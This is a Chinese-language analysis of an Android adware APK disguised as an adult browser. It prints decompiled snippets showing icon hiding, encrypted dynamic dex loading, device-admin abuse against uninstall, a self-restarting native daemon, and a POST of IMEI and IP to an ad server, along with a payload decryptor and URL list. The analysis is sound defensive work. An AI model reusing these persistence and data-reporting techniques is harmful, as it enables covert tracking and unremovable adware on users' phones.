DZSM APK 样本分析

概况

  • MD5: 14792786094250715197540fd3b58439
  • SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1208868505 (0x480dde99)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Validity
Not Before: Sep 9 09:11:13 2015 GMT
Not After : Jan 25 09:11:13 2043 GMT
Subject: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:93:57:2d:52:af:c1:71:cf:7a:cb:2f:6a:6c:0a:
b2:3f:4b:60:a6:a7:d0:9d:ba:36:a1:0f:0d:cc:9e:
32:ea:23:df:80:a3:b3:9f:2b:93:b9:53:c4:e5:bf:
05:32:21:23:c1:13:78:b0:72:08:19:8e:5e:c0:a0:
13:11:19:d6:23:8a:b6:44:2b:73:e0:1d:f3:b3:f4:
ab:6c:2e:af:78:2f:8b:e2:dc:b0:d6:06:af:8e:3f:
29:54:1a:59:44:55:73:98:2f:fd:8b:18:b0:de:c6:
9c:ee:0c:c7:f7:04:9d:0c:a7:62:06:45:4f:08:20:
2e:ca:a9:20:88:0e:08:2b:f1:9c:a9:24:5d:35:85:
02:bb:c0:ff:37:98:4b:c7:6f:f2:75:81:43:78:f8:
4b:cc:63:8c:f5:0e:c9:95:05:3d:ee:a1:85:cd:94:
97:b8:48:93:02:b3:71:6e:fb:39:6f:63:5d:a7:24:
c1:dc:77:a9:9c:de:5d:76:63:a8:ad:1d:e9:d6:84:
9b:ee:8d:37:38:4b:7c:ff:94:c9:df:dd:17:80:8c:
e8:d1:94:5d:05:dc:ef:d8:dc:90:4c:8b:75:22:6d:
57:6e:ee:4c:5f:62:96:5c:72:64:a4:5b:0f:29:e0:
f3:31:11:99:6a:b4:e5:6c:16:4d:8a:44:46:06:8f:
06:05
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
A6:8F:86:BB:A7:0A:DB:29:2E:E9:26:A6:F1:8C:BF:2F:4B:58:99:39
Signature Algorithm: sha256WithRSAEncryption
82:62:98:a8:39:10:3b:f5:09:42:97:de:e9:4c:57:6c:4e:58:
a3:1a:31:29:a4:79:98:3f:c9:68:3c:e5:90:be:7f:b0:98:2b:
8f:95:9e:4e:d2:bc:82:6e:bf:32:56:35:87:c8:19:08:ae:af:
9c:db:94:71:d4:db:73:d9:25:e2:e5:f1:92:a0:a4:c4:bd:27:
21:b2:c8:ec:e2:2a:c3:bb:a2:85:97:78:2b:4a:94:cc:fc:dc:
75:6a:11:c8:ba:da:30:be:11:e9:e7:4a:5e:e1:ae:af:4d:36:
14:69:31:ab:68:16:69:ed:a8:bb:c7:be:bf:8b:ca:4c:01:d0:
7e:65:45:31:72:0f:7b:8d:7e:76:40:86:45:8d:ee:a3:b2:ee:
ac:d3:0e:60:29:b0:fd:dc:8c:6a:25:06:01:99:81:96:f5:4c:
1d:1a:1d:dc:0e:4b:66:15:80:e8:f5:1c:cd:98:60:71:08:de:
f9:4f:69:b0:22:ec:05:18:6b:cd:5a:05:ce:3a:fe:57:4b:e7:
8b:64:b4:f7:4a:cd:63:c1:03:01:e2:b0:aa:81:2d:89:e1:4d:
da:fb:8f:b9:37:02:ad:85:64:de:87:73:1a:7a:36:50:3f:e6:
9a:73:65:a0:33:af:81:c6:c8:55:89:e6:a8:03:6a:c6:da:f0:
a5:cc:1c:6e

样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机,
通过广告来获得经济收益,安装应用后访问以下链接:

1
2
3
4
5
6
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg

http://dw.cnscns.com 是一个移动广告平台。

分析

关键的地方是两个service和一个Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<service android:name="net.tend.dot.DZS" />
<service android:exported="true" android:name="net.tend.dot.DZK" android:process=":daemon" />
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="net.tend.dot.DZA" android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:

  • net.tend.dot.DZS -> mkit.dz.vol.MFSS
  • net.tend.dot.DZK -> mkit.dz.vol.MFKS
  • net.tend.dot.DZR -> mkit.dz.vol.MFBR
  • net.tent.dot.DZA -> mkit.dz.vol.MFAC

而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:

assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行
解密。解密出来的文件为dex文件,可以用jeb正常分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
public class decrypt {
public static void main(String[] args) {
try {
String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq";
FileInputStream fis2 = new FileInputStream("/tmp/dzsm");
FileOutputStream fos2 = new FileOutputStream("decrypted");
decrypt(key, fis2, fos2);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static void encrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os);
}
public static void decrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os);
}
public static void encryptOrDecrypt(String key, int mode, InputStream is, OutputStream os) throws Throwable {
DESKeySpec dks = new DESKeySpec(key.getBytes());
SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
SecretKey desKey = skf.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");
if (mode == Cipher.ENCRYPT_MODE) {
cipher.init(Cipher.ENCRYPT_MODE, desKey);
CipherInputStream cis = new CipherInputStream(is, cipher);
doCopy(cis, os);
} else if (mode == Cipher.DECRYPT_MODE) {
cipher.init(Cipher.DECRYPT_MODE, desKey);
CipherOutputStream cos = new CipherOutputStream(os, cipher);
doCopy(is, cos);
}
}
public static void doCopy(InputStream is, OutputStream os) throws IOException {
byte[] bytes = new byte[64];
int numBytes;
while ((numBytes = is.read(bytes)) != -1) {
os.write(bytes, 0, numBytes);
}
os.flush();
os.close();
is.close();
}
}

MainActivity是 com.dz.browser.WelActivity

1
2
3
4
5
6
7
8
<activity android:icon="@drawable/icon1"
android:label="@string/main_name"
android:name="com.dz.browser.WelActivity" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

WelActivity 里干几件事:

1) 隐藏图标

1
2
3
4
5
6
private void setComponentEnabled(Context context, Class arg6, boolean enabled) {
ComponentName v0 = new ComponentName(context, arg6.getName());
PackageManager v3 = context.getPackageManager();
int v1 = enabled ? 1 : 2;
v3.setComponentEnabledSetting(v0, v1, 1);
}

2) 动态加载dex

1
2
3
4
5
6
7
8
9
10
private void GoMain() {
new Handler().postDelayed(new Runnable() {
public void run() {
WelActivity.this.setComponentEnabled(WelActivity.this, WelActivity.class, false);
}
}, 5000);
Intent v0 = new Intent();
v0.setClass(((Context)this), GuideActivity.class);
this.startActivity(v0);
}

GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。
GuideActivity 同时向广告服务器发送本机信息

1
2
3
4
5
6
7
8
9
10
11
new Thread(new Runnable() {
public void run() {
try {
Log.i("ads", "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID(
GuideActivity.this), GuideActivity.this.Params.reqparams()));
}
catch(PackageManager$NameNotFoundException v1) {
v1.printStackTrace();
}
}
}).start();

http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1

1
2
3
4
5
6
7
8
POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Host: mob.s2s.nooobi.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
country=CN&ip=220.231.27.156&model=sdk&imei=000000000000000

同时加载dex还有另外一个入口,通过 Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

当网络变化,用户锁屏等操作时将自动加载dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class DZR extends BroadcastReceiver {
public DZR() {
super();
}
private void a(Context context, Intent intent) {
try {
a.a(context, i.class).onReceive(context, intent);
}
catch(Exception v0) {
Log.e("ads", "", ((Throwable)v0));
}
}
public void onReceive(Context context, Intent intent) {
Context context = context.getApplicationContext();
String action = intent.getAction();
System.out.println("SV=" + dzm_version.DZM_1_2_5);
if(action.equals("android.intent.action.USER_PRESENT")) {
DZM.getInstance(context);
}
l.start_thread(context);
if(l.str_dzmb_kiup_act().equals(action)) {
l.loadDex(context, intent);
}
else {
this.a(context, intent);
}
}
}
1
2
3
4
5
6
<receiver android:name="com.dz.browser.MyReceiver">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lockourscreen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

lockourscreen.xml 里申请了锁屏权限

1
2
3
4
5
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>

但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。

样本会访问下面URL 获得ip地址信息

http://ip.taobao.com/service/getIpInfo2.php?ip=myip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
code: 0,
data: {
country: "中国",
country_id: "CN",
area: "华北",
area_id: "100000",
region: "北京市",
region_id: "110000",
city: "北京市",
city_id: "110100",
county: "",
county_id: "-1",
isp: "华瑞信通",
isp_id: "1000146",
ip: "220.231.27.156"
}
}

从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL

daemon 分析

两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。
在手机上得到下面的命令行

1
/data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120

daemon 使用说明

usage: %s -p package-name -s daemon-service-name -t interval-time

daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动
服务程序。

1
2
3
u0_a45 999 36 193564 32452 ffffffff 40033a40 S org.dz.passion.browser:daemon
u0_a45 1016 36 192640 35772 ffffffff 40033a40 S org.dz.passion.browser
u0_a45 1028 1 728 296 c0099f1c 40032c88 S /data/data/org.dz.passion.browser/app_bin/daemon

这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中,
从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动
启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class MFKS {
private Service service;
public MFKS() {
super();
}
public IBinder onBind(Intent arg2) {
return null;
}
public void onCreate() {
run_daemon.install(this.service.getApplicationContext(), config.get_kvp_classObject(this.service // net.tend.dot.DZK
.getApplicationContext()), 120);
this.service.startService(new Intent(this.service.getApplicationContext(), config.get_svp_classObject( // net.tend.dot.DZS
this.service.getApplicationContext())));
}
public void onStart(Intent arg1, int arg2) {
}
public void setService(Service arg1) {
this.service = arg1;
}
}

附录

访问的URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip
http://api.nooobi.com/api-unlock/getlockappconfig
http://api.nooobi.com/api-unlock/insertimei
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
http://api.nooobi.com/api-unlock/getapptype
http://api.nooobi.com/api-unlock/kitup
http://alog.umeng.com/app_logs
http://api.nooobi.com/api-unlock/getadlist
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://api.nooobi.com/api-unlock/unlockaction

总结

DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分,
是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。